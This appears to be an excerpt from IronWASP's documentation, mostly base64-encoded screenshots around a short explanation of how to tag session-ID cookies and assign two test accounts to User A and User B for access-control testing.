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 + + + + IronWASP will go through the logs of the selected hostnames and show the list of Cookie parameters in those logs. + +From this list you must specify which cookie parameters are Session IDs and to which user account that particular Session ID belonged. Of the two user accounts you used for browsing through the site, you can assign one of the User A category and another to the User B category. + + + + + + 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 + 